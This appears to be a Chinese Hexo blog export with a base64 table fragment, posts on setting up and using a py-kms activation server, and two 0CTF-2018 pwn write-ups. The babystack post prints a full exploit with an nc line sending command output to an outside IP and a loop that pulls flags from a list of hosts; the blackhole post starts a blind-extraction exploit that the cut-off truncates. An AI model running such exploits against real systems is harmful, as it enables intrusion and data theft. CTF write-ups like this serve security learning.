<td>n</td>
<td>56</td>
<td>4</td>
</tr>
<tr>
<td>6</td>
<td>G</td>
<td>23</td>
<td>X</td>
<td>40</td>
<td>o</td>
<td>57</td>
<td>5</td>
</tr>
<tr>
<td>7</td>
<td>H</td>
<td>24</td>
<td>Y</td>
<td>41</td>
<td>p</td>
<td>58</td>
<td>6</td>
</tr>
<tr>
<td>8</td>
<td>I</td>
<td>25</td>
<td>Z</td>
<td>42</td>
<td>q</td>
<td>59</td>
<td>7</td>
</tr>
<tr>
<td>9</td>
<td>J</td>
<td>26</td>
<td>a</td>
<td>43</td>
<td>r</td>
<td>60</td>
<td>8</td>
</tr>
<tr>
<td>10</td>
<td>K</td>
<td>27</td>
<td>b</td>
<td>44</td>
<td>s</td>
<td>61</td>
<td>9</td>
</tr>
<tr>
<td>11</td>
<td>L</td>
<td>28</td>
<td>c</td>
<td>45</td>
<td>t</td>
<td>62</td>
<td>+</td>
</tr>
<tr>
<td>12</td>
<td>M</td>
<td>29</td>
<td>d</td>
<td>46</td>
<td>u</td>
<td>63</td>
<td>&#x2F;</td>
</tr>
<tr>
<td>13</td>
<td>N</td>
<td>30</td>
<td>e</td>
<td>47</td>
<td>v</td>
<td></td>
<td></td>
</tr>
<tr>
<td>14</td>
<td>O</td>
<td>31</td>
<td>f</td>
<td>48</td>
<td>w</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15</td>
<td>P</td>
<td>32</td>
<td>g</td>
<td>49</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16</td>
<td>Q</td>
<td>33</td>
<td>h</td>
<td>50</td>
<td>y</td>
<td></td>
<td></td>
</tr>
</tbody></table>
<h4 id="文本"><a href="#文本" class="headerlink" title="文本"></a>文本</h4><p>以下为python语法</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">table = <span class="string">&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;</span></span><br></pre></td></tr></table></figure>



<h3 id="引用"><a href="#引用" class="headerlink" title="引用"></a>引用</h3><p>本文参考自</p>
<ol>
<li>百度百科 : <a href="https://baike.baidu.com/item/base64">base64</a></li>
<li>推酷 : <a href="http://www.tuicool.com/articles/RRr2miE">ZJPCCTF：我未见过的base64隐写</a></li>
</ol>
<h3 id="附件"><a href="#附件" class="headerlink" title="附件"></a>附件</h3><p>base64编码过程表: <a href="base64.xlsx">base64.xlsx</a></p>
]]></content>
      <categories>
        <category>technical</category>
        <category>misc</category>
      </categories>
  </entry>
  <entry>
    <title>自建kms服务器</title>
    <url>/windows/kms/configure-kms-server/</url>
    <content><![CDATA[<p>对于激活windows，网上有各式各样的激活工具，你电的正版windows和office激活服务其实就是一个仅限校内访问的kms。考虑到以后会毕业以及不在校园网中不方便激活，决定自建kms</p>
<p>本文将使用py-kms搭建kms激活服务器，方便激活</p>
<span id="more"></span>

<h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><p>确保机器安装了docker</p>
<h2 id="下载代码"><a href="#下载代码" class="headerlink" title="下载代码"></a>下载代码</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/SystemRage/py-kms.git</span><br></pre></td></tr></table></figure>

<h2 id="构建并运行镜像"><a href="#构建并运行镜像" class="headerlink" title="构建并运行镜像"></a>构建并运行镜像</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> py-kms/docker/docker-py3-kms</span><br><span class="line">./build-py3-kms.sh</span><br><span class="line">./run-py3-kms.sh</span><br></pre></td></tr></table></figure>

<p>该容器会占用机器的1688和8080端口，要配置反代的话可以自行修改脚本</p>
<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><ol>
<li><a href="http://blog.plusls.com/windows/kms/use-kms-server/">kms服务器使用说明</a></li>
</ol>
]]></content>
      <categories>
        <category>windows</category>
        <category>kms</category>
      </categories>
  </entry>
  <entry>
    <title>kms服务器使用说明</title>
    <url>/windows/kms/use-kms-server/</url>
    <content><![CDATA[<p>由于嫌弃你电的kms, 自己搭了个kms server, 可以激活 windows 7,  8,  8.1, 10, 以及 office 2010,  2013,  2016</p>
<p>激活服务器地址为 <strong>kms.plusls.cn</strong></p>
<span id="more"></span>

<h2 id="激活office"><a href="#激活office" class="headerlink" title="激活office"></a>激活office</h2><p>用管理员权限打开 cmd 后，输入</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">rem 切换到office安装目录</span><br><span class="line"><span class="built_in">cd</span> <span class="string">&quot;C:\Program Files\Microsoft Office\Office16&quot;</span></span><br><span class="line">rem 设置 kms 服务器</span><br><span class="line">cscript ospp.vbs /sethst:kms.plusls.cn</span><br><span class="line">rem 激活</span><br><span class="line">cscript ospp.vbs /act</span><br><span class="line">rem 查看激活状态</span><br><span class="line">cscript ospp.vbs /dstatus</span><br></pre></td></tr></table></figure>


<h2 id="激活windows"><a href="#激活windows" class="headerlink" title="激活windows"></a>激活windows</h2><p>用管理员权限打开 cmd 后，输入</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">rem 切换到 windows 目录</span><br><span class="line"><span class="built_in">cd</span> <span class="string">&quot;C:\windows\system32&quot;</span></span><br><span class="line">rem 设置 kms 服务器</span><br><span class="line">cscript slmgr.vbs /skms kms.plusls.cn</span><br><span class="line">rem 激活</span><br><span class="line">cscript slmgr.vbs /ato</span><br><span class="line">rem 查看激活状态</span><br><span class="line">cscript slmgr.vbs /xpr</span><br></pre></td></tr></table></figure>

<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><ol>
<li><a href="http://blog.plusls.com/windows/kms/configure-kms-server/">如何搭建kms激活服务器</a></li>
</ol>
]]></content>
      <categories>
        <category>windows</category>
        <category>kms</category>
      </categories>
  </entry>
  <entry>
    <title>[0CTF-2018] babystack</title>
    <url>/ctf/0ctf-2018/pwn/babystack/</url>
    <content><![CDATA[<h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>这题，开门有惊喜</p>
<p><img data-src="/ctf/0ctf-2018/pwn/babystack/img/1.png" alt="overflow"></p>
<p>整个题就一个read，也只有这有一个溢出点，然后，啥都没了。</p>
<span id="more"></span>

<p>emmmmm，同学，你听说过安利吗（雾）</p>
<p>不对，你听说过got表吗，好的，听说过</p>
<p>那，同学你 听说过解析解析got表的函数嘛，就是把动态链接库的函数地址写到got表里面的家伙</p>
<p>emmmmmm，这啥啊，咋回事啊（黑人问号.jpg）</p>
<p>那么，<a href="/technical/binary/pwn/ret2_dl_runtime_resolve/">ret2_dl_runtime_resolve</a> 了解一下吧</p>
<p>好的，你已经了解了ret2_dl_runtime_resolve，那么这个题就变得十分简单了。</p>
<p>首先使用read在bss段上伪造一个ELF Symbol Table，然后调用plt[0]去解析它，就可以让它执行system啦！</p>
<p>就这样，很轻松的写出了exp，这题很简单嘛。</p>
<p>这时，翻看了一下压缩包，发现了一个奇怪的东西</p>
<p>咦，这个pow.py是什么东东，下面这个函数是啥啊</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">exec_serv</span>(<span class="params">name, payload</span>):</span><br><span class="line">    p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file(<span class="string">&#x27;/dev/null&#x27;</span>,<span class="string">&#x27;w&#x27;</span>), stderr=subprocess.STDOUT)</span><br><span class="line">    p.stdin.write(payload)</span><br><span class="line">    p.wait()</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>换句话来讲，这题是没有回显的，把payload发过去后，对面程序就不鸟你了</p>
<p>其实只需要在自己的服务器上</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nc -l 5000</span><br></pre></td></tr></table></figure>

<p>然后再exp中让system执行</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">cat flag|nc xxx.xxx.xxx.xxx <span class="number">5000</span></span><br></pre></td></tr></table></figure>

<p>就可以把flag传出来啦</p>
<h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*- #</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"></span><br><span class="line"><span class="comment"># 调试模式 会使用gdb联调</span></span><br><span class="line">DEBUG = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 啰嗦模式</span></span><br><span class="line">VERBOSE = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 0 local 1 remote 2 attack</span></span><br><span class="line">MODE = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 程序名</span></span><br><span class="line">PROGRAM_NAME = <span class="string">&#x27;./babystack&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># libc</span></span><br><span class="line">REMOTE_LIBC = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 地址</span></span><br><span class="line">IP = <span class="string">&#x27;202.120.7.202&#x27;</span></span><br><span class="line"></span><br><span class="line">PORT = <span class="number">6666</span></span><br><span class="line"><span class="comment">#IP = &#x27;127.0.0.1&#x27;</span></span><br><span class="line"><span class="comment">#PORT = 17001</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># gdb调试配置 根据机器更改</span></span><br><span class="line"><span class="comment"># context.terminal = [&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;]</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;xfce4-terminal&#x27;</span>, <span class="string">&#x27;-x&#x27;</span>, <span class="string">&#x27;sh&#x27;</span>, <span class="string">&#x27;-c&#x27;</span>]</span><br><span class="line">context.arch = <span class="string">&#x27;i386&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 是否开启 aslr</span></span><br><span class="line">context.aslr = <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># export LD_LIBRARY_PATH=/home/plusls/Desktop/kanxuectf/4-BPG-club</span></span><br><span class="line"><span class="comment"># LD_PRELOAD</span></span><br><span class="line"><span class="comment"># socat tcp-l:8888,reuseaddr,fork system:LD_PRELOAD=./libc.so.6 ./club</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 地址 程序常量</span></span><br><span class="line">system_offset = <span class="number">0</span></span><br><span class="line">_IO_list_all_offset = <span class="number">0</span></span><br><span class="line">__malloc_hook_offset = <span class="number">0</span></span><br><span class="line">one_gadget_offset = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">set_breakpoint</span>(<span class="params">breakpoint_list, pie=<span class="literal">False</span></span>):</span><br><span class="line">    <span class="string">&#x27;&#x27;&#x27;生成设置断点的命令&#x27;&#x27;&#x27;</span></span><br><span class="line">    ret = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    offset = <span class="number">0</span></span><br><span class="line">    <span class="keyword">if</span> pie <span class="keyword">is</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">if</span> context.aslr <span class="keyword">is</span> <span class="literal">True</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line">        <span class="keyword">if</span> context.arch == <span class="string">&#x27;amd64&#x27;</span>: <span class="comment"># 64位下gdb关闭aslr后基址为 0x555555554000</span></span><br><span class="line">            offset = <span class="number">0x555555554000</span></span><br><span class="line">        <span class="keyword">elif</span> context.arch == <span class="string">&#x27;i386&#x27;</span>: <span class="comment"># 32位为0x56555000</span></span><br><span class="line">            offset = <span class="number">0x56555000</span></span><br><span class="line">    <span class="keyword">for</span> <span class="built_in">breakpoint</span> <span class="keyword">in</span> breakpoint_list:</span><br><span class="line">        ret += <span class="string">&#x27;b *%d\n&#x27;</span> % (<span class="built_in">breakpoint</span> + offset)</span><br><span class="line">    <span class="keyword">return</span> ret</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_shell</span>(<span class="params">ip=<span class="string">&#x27;&#x27;</span>, port=<span class="number">0</span></span>):</span><br><span class="line">    <span class="comment"># 设置断点</span></span><br><span class="line">    </span><br><span class="line">    <span class="built_in">breakpoint</span> = set_breakpoint([<span class="number">0x08048456</span>], pie=<span class="literal">False</span>)</span><br><span class="line">    <span class="comment">#breakpoint = &#x27;&#x27;</span></span><br><span class="line">    gdbscript = <span class="built_in">breakpoint</span> + <span class="string">&#x27;c\n&#x27;</span></span><br><span class="line">    <span class="keyword">if</span> VERBOSE:</span><br><span class="line">        context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">global</span> system_offset, _IO_list_all_offset, __malloc_hook_offset, one_gadget_offset</span><br><span class="line">    <span class="keyword">if</span> REMOTE_LIBC:</span><br><span class="line">        env = &#123;<span class="string">&quot;LD_PRELOAD&quot;</span>: os.path.join(os.getcwd(), <span class="string">&quot;./libc.remote&quot;</span>)&#125;</span><br><span class="line">        </span><br><span class="line">        system_offset = <span class="number">0x45390</span></span><br><span class="line">        _IO_list_all_offset = <span class="number">0x3c5520</span></span><br><span class="line">        __malloc_hook_offset = <span class="number">0x3c4b10</span></span><br><span class="line">        __free_hook_offset = <span class="number">0x3c67a8</span></span><br><span class="line">        one_gadget_offset =<span class="number">0x04523E</span></span><br><span class="line">        libc_ptr_offset = <span class="number">0x3c4b31</span></span><br><span class="line">        heap_ptr_offset = <span class="number">0x240</span></span><br><span class="line">        fastbin_0x70_offset = <span class="number">0x30</span></span><br><span class="line">        main_arena_offset = <span class="number">0x3c4b20</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        env = &#123;<span class="string">&quot;LD_PRELOAD&quot;</span>: os.path.join(os.getcwd(), <span class="string">&quot;./libc.local&quot;</span>)&#125;</span><br><span class="line">        env = &#123;&#125;</span><br><span class="line">        </span><br><span class="line">        system_offset = <span class="number">0x456a0</span></span><br><span class="line">        _IO_list_all_offset = <span class="number">0x3c2500</span></span><br><span class="line">        __malloc_hook_offset = <span class="number">0x3c1af0</span></span><br><span class="line">        __free_hook_offset = <span class="number">0x3c3788</span></span><br><span class="line">        one_gadget_offset = <span class="number">0x0F24CB</span></span><br><span class="line">        libc_ptr_offset = <span class="number">0x3c1b31</span></span><br><span class="line">        heap_ptr_offset = <span class="number">0x240</span></span><br><span class="line">        main_arena_offset = <span class="number">0x3c1b00</span></span><br><span class="line">        fastbin_0x70_offset = <span class="number">0x30</span></span><br><span class="line">        </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> MODE == <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">if</span> DEBUG:</span><br><span class="line">            <span class="comment"># debug</span></span><br><span class="line">            program = gdb.debug((PROGRAM_NAME, ), gdbscript=gdbscript, env=env)</span><br><span class="line">            <span class="comment"># 等待输入后继续运行</span></span><br><span class="line">            raw_input(<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">            <span class="comment"># gdb.attach(program)</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="comment"># 直接运行程序</span></span><br><span class="line">            program = process((PROGRAM_NAME, ), env=env)</span><br><span class="line">            sol = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="comment"># 远程</span></span><br><span class="line">        program = remote(ip, port)</span><br><span class="line">        <span class="comment">#program = process(&#x27;./pow.py&#x27;)</span></span><br><span class="line">        </span><br><span class="line">        chal = program.recvuntil(<span class="string">&#x27;\n&#x27;</span>)[:-<span class="number">1</span>]</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="number">0x100000000</span>):</span><br><span class="line">            <span class="keyword">if</span> sha256(chal + p32(i)).digest().startswith(<span class="string">&#x27;\0\0\0&#x27;</span>):</span><br><span class="line">                sol = p32(i)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="comment">#sol = &#x27;fuck&#x27;</span></span><br><span class="line">        program.send(sol)</span><br><span class="line">        </span><br><span class="line"></span><br><span class="line">    payload = <span class="string">&#x27;&#x27;</span>    </span><br><span class="line">    payload += (<span class="number">0x28</span>+<span class="number">4</span>) * <span class="string">&#x27;a&#x27;</span></span><br><span class="line">    payload += p32(<span class="number">0x08048300</span>) <span class="comment"># read</span></span><br><span class="line">    payload += p32(<span class="number">0x0804843B</span>) <span class="comment"># </span></span><br><span class="line">    <span class="comment">#payload += p32(0x080484E9) # pop 3 arg</span></span><br><span class="line">    payload += p32(<span class="number">0</span>) <span class="comment"># fd</span></span><br><span class="line">    payload += p32(<span class="number">0x0804A024</span>) <span class="comment"># buf</span></span><br><span class="line">    payload += p32(<span class="number">40</span>) <span class="comment"># len</span></span><br><span class="line"></span><br><span class="line">    l1 = <span class="built_in">len</span>(payload)</span><br><span class="line"></span><br><span class="line">    main_elf = ELF(<span class="string">&#x27;./babystack&#x27;</span>)</span><br><span class="line">    <span class="comment">#payload += &#x27;/bin/sh&#x27;.ljust(8, &#x27;\x00&#x27;) # 0x0804A024 -&gt; 0x0804A02c</span></span><br><span class="line">    payload += <span class="string">&#x27;/bin/sh&#x27;</span>.ljust(<span class="number">8</span>, <span class="string">&#x27;\x00&#x27;</span>) <span class="comment"># 0x0804A024 -&gt; 0x0804A02c</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">#payload += &#x27;fuck&#x27;.ljust(8, &#x27;\x00&#x27;) # 0x0804A024 -&gt; 0x0804A02c</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># fake ELF Symbol Table</span></span><br><span class="line">    payload += p32(<span class="number">0x1e10</span>) + p32(<span class="number">0</span>) + p32(<span class="number">0</span>) + p32(<span class="number">0x12</span>) <span class="comment"># [offset, 0, 0, 0x12] offset = 0x0804A02c + 16 - 0x804822C = 0x1e10</span></span><br><span class="line">    payload += <span class="string">&#x27;system\x00\x00&#x27;</span></span><br><span class="line">    payload += p32(<span class="number">0x804A020</span>) + p32(<span class="number">0x1e607</span>) <span class="comment"># [addr, offset] offset = ((0x0804A02c - 0x80481CC) &lt;&lt; 4) + 7 = 0x1e607</span></span><br><span class="line">    <span class="comment">#program.sendline(payload)</span></span><br><span class="line"></span><br><span class="line">    l2 = <span class="built_in">len</span>(payload) - l1</span><br><span class="line"></span><br><span class="line">    <span class="comment"># plt offset = hex(0x0804A02c + 16 + 8 - 0x80482B0)=0x1d94</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">#raw_input()</span></span><br><span class="line">    payload += (<span class="number">0x28</span>+<span class="number">4</span>) * <span class="string">&#x27;a&#x27;</span></span><br><span class="line">    payload += p32(<span class="number">0x080482F0</span>) <span class="comment"># plt 0</span></span><br><span class="line">    payload += p32(<span class="number">0x1d94</span>) <span class="comment"># fd</span></span><br><span class="line">    payload += p32(<span class="number">0x0804843B</span>) <span class="comment">#</span></span><br><span class="line">    payload += p32(<span class="number">0x0804A024</span>) <span class="comment">#  binsh</span></span><br><span class="line">    payload += <span class="string">&#x27;a&#x27;</span>*<span class="number">4</span></span><br><span class="line">    <span class="comment">#payload += &#x27;curl baidu.com &amp;&amp; exit\n&#x27;</span></span><br><span class="line">   <span class="comment"># payload += &#x27;ls -al|nc 139.199.155.42 10086\n&#x27;</span></span><br><span class="line">    payload += <span class="string">&#x27;pwd|nc 139.199.155.42 10086\n&#x27;</span></span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">    l3 = <span class="built_in">len</span>(payload) - l2 - l1</span><br><span class="line">    log.info(<span class="string">&#x27;%d %d %d 0x%x&#x27;</span> % (l1, l2, l3, <span class="built_in">len</span>(payload)))</span><br><span class="line">    </span><br><span class="line">    log.info(<span class="built_in">repr</span>(payload.ljust(<span class="number">0x100</span>, <span class="string">&#x27;\n&#x27;</span>)))</span><br><span class="line">    payload = payload.ljust(<span class="number">0x100</span>, <span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">    fp = <span class="built_in">open</span>(<span class="string">&#x27;out.data&#x27;</span>, <span class="string">&#x27;wb&#x27;</span>)</span><br><span class="line">    fp.write(payload)</span><br><span class="line">    fp.close()</span><br><span class="line">    program.sendline(payload)</span><br><span class="line">    <span class="keyword">return</span> program</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">attack</span>(<span class="params">sleep_time=<span class="number">10</span></span>):</span><br><span class="line">    <span class="comment"># 打全场 线下赛使用</span></span><br><span class="line">    ip_list = [<span class="string">&#x27;172.16.20.4&#x27;</span>, <span class="string">&#x27;172.16.20.5&#x27;</span>,</span><br><span class="line">               <span class="string">&#x27;172.16.20.7&#x27;</span>, <span class="string">&#x27;172.16.20.9&#x27;</span>, <span class="string">&#x27;172.16.20.11&#x27;</span>]</span><br><span class="line">    <span class="comment"># ip_list = [&#x27;127.0.0.1&#x27;]</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">for</span> ip <span class="keyword">in</span> ip_list:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                program = get_shell(ip=ip, port=<span class="number">2111</span>)</span><br><span class="line">                program.sendline(<span class="string">&#x27;cd /home/tsctf/flag&#x27;</span>)</span><br><span class="line">                program.sendline(<span class="string">&#x27;cat flag&#x27;</span>)</span><br><span class="line">                flag = program.recvall(timeout=<span class="number">1</span>)[-<span class="number">32</span>:]</span><br><span class="line">                log.info(<span class="string">&#x27;flag=&#x27;</span> + flag)</span><br><span class="line">                <span class="comment">#submit_flag(ip, &#x27;2&#x27;, flag)</span></span><br><span class="line">                program.close()</span><br><span class="line">            <span class="keyword">except</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&#x27;FUCK&#x27;</span>)</span><br><span class="line">        time.sleep(sleep_time)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="keyword">if</span> MODE == <span class="number">0</span>:  <span class="comment"># local</span></span><br><span class="line">        program = get_shell()</span><br><span class="line">        program.interactive()</span><br><span class="line">    <span class="keyword">elif</span> MODE == <span class="number">1</span>:  <span class="comment"># remote</span></span><br><span class="line">        program = get_shell(ip=IP, port=PORT)</span><br><span class="line">        <span class="comment">#program = get_shell(ip=&#x27;127.0.0.1&#x27;, port=17001)</span></span><br><span class="line">        </span><br><span class="line">        program.interactive()</span><br><span class="line">    <span class="keyword">elif</span> MODE == <span class="number">2</span>:  <span class="comment"># attack</span></span><br><span class="line">        attack(sleep_time=<span class="number">10</span>)</span><br><span class="line">    <span class="keyword">elif</span> MODE == <span class="number">3</span>: <span class="comment"># 取回二进制文件</span></span><br><span class="line">        program = get_shell(ip=IP, port=PORT)</span><br><span class="line">        program.recv(timeout=<span class="number">1</span>)</span><br><span class="line">        program.sendline(<span class="string">&#x27;cat pwn2&#x27;</span>)</span><br><span class="line">        program.sendline(<span class="string">&#x27;exit&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">        recv_data = program.recvall()</span><br><span class="line">        fp = <span class="built_in">open</span>(<span class="string">&#x27;dump&#x27;</span>, <span class="string">&#x27;wb&#x27;</span>)</span><br><span class="line">        fp.write(recv_data)</span><br><span class="line">        fp.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><p>附件： <a href="babystack.zip">babystack.zip</a></p>
]]></content>
      <categories>
        <category>ctf</category>
        <category>0ctf-2018</category>
        <category>pwn</category>
      </categories>
  </entry>
  <entry>
    <title>[0CTF-2018] blackhole</title>
    <url>/ctf/0ctf-2018/pwn/blackhole/</url>
    <content><![CDATA[<h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>日哦，一看这题，64位，只有一个read有溢出，syscall禁用了一堆，只留下 open，read,，mprotect,，exit，拿头做题。（懒得放图了，没啥意思）</p>
<p>难道又要将mprotect的地址解析出来去调用？？？</p>
<p>等等，这题有libc，为啥有libc呢</p>
<p>开了一晚上的脑洞后，惊讶的发现了一件事情：</p>
<p><img data-src="/ctf/0ctf-2018/pwn/blackhole/img/1.png" alt="alarm"></p>
<p>最后1byte为0x80时，指向的是alarm，如果是0x85就是syscall！</p>
<p>只需调用read，覆写alarm的got表的最后1byte为0x85，就可以通过syscall调用mprotect了！</p>
<p>啥，x64不会调用3个参数的函数？init函数的那几个gadget了解一下</p>
<p>就这样很轻易的让bss段变成可执行的了。</p>
<span id="more"></span>


<p>可是，这题没有回显，考虑使用基于时间的盲注（滚啊！这是pwn题？？？）</p>
<p>就这样，没啥了</p>
<h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*- #</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"></span><br><span class="line"><span class="comment">#context.log_level = &#x27;debug&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">start_new_program</span>():</span><br><span class="line">    <span class="keyword">return</span> process((<span class="string">&#x27;./blackhole&#x27;</span>, ))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">start_new_program</span>():</span><br><span class="line">    program = remote(<span class="string">&#x27;202.120.7.203&#x27;</span>, <span class="number">666</span>)</span><br><span class="line">    <span class="comment">#program = process(&#x27;./pow.py&#x27;)</span></span><br><span class="line">    chal = program.recvuntil(<span class="string">&#x27;\n&#x27;</span>)[:-<span class="number">1</span>]</span><br><span class="line">    log.info(chal)</span><br><span class="line">    <span class="comment">#sol = p32(0)</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="number">0x100000000</span>):</span><br><span class="line">        <span class="comment">#break</span></span><br><span class="line">        <span class="keyword">if</span> sha256(chal + p32(i)).hexdigest().startswith(<span class="string">&#x27;00000&#x27;</span>):</span><br><span class="line">            sol = p32(i)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    log.info(<span class="built_in">repr</span>(sol))</span><br><span class="line">    program.send(sol)</span><br><span class="line">    <span class="keyword">return</span> program</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fuckflag</span>():</span><br><span class="line">    <span class="comment"># 设置断点</span></span><br><span class="line">    <span class="comment"># 可见字符 32--126</span></span><br><span class="line">    flag = <span class="string">&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">55</span>, <span class="number">70</span>):</span><br><span class="line">        log.info(<span class="string">&#x27;flag=&#x27;</span> + flag)</span><br><span class="line">        l = <span class="number">32</span></span><br><span class="line">        r = <span class="number">126</span></span><br><span class="line">        old = <span class="literal">None</span></span><br><span class="line">        new = <span class="literal">None</span></span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">            mid = (l + r) // <span class="number">2</span></span><br><span class="line">            program = start_new_program()</span><br><span class="line">            <span class="keyword">if</span> guess(program, <span class="number">1</span>, i, mid): <span class="comment"># if &gt; mid</span></span><br><span class="line">                l = mid + <span class="number">1</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                r = mid</span><br><span class="line">            <span class="comment">#program.interactive()</span></span><br><span class="line">            program.close()</span><br><span class="line">            old = new</span><br><span class="line">            new = mid</span><br><span class="line">            <span class="keyword">if</span> old == new:</span><br><span class="line">                flag += <span class="built_in">chr</span>(old)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> flag[-<span class="number">1</span>] == <span class="string">&#x27;&#125;&#x27;</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    log.info(<span class="string">&#x27;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&#x27;</span>)</span><br><span class="line">    log.info(<span class="string">&#x27;flag=&#x27;</span> + flag)</span><br><span class="line"></span><br><span class="line"><span class="comment"># sha256(chal + sol).hexdigest().startswith(&#x27;00000&#x27;)</span></span><br><span class="line">    <span class="comment"># fp = open(&#x27;out.data&#x27;, &#x27;wb&#x27;)</span></span><br><span class="line">    <span class="comment"># fp.write(payload)</span></span><br><span class="line">    <span class="comment"># fp.close()</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">guess</span>(<span class="params">program, op, n, ch</span>):</span><br><span class="line">    payload = guess_payload(op, n, ch)</span><br><span class="line">    log.info(<span class="string">&#x27;len=0x%x&#x27;</span> % <span class="built_in">len</span>(payload))</span><br><span class="line">    payload = payload.ljust(<span class="number">0x8000</span> - <span class="number">1</span>, <span class="string">&#x27;\x00&#x27;</span>)</span><br><span class="line">    <span 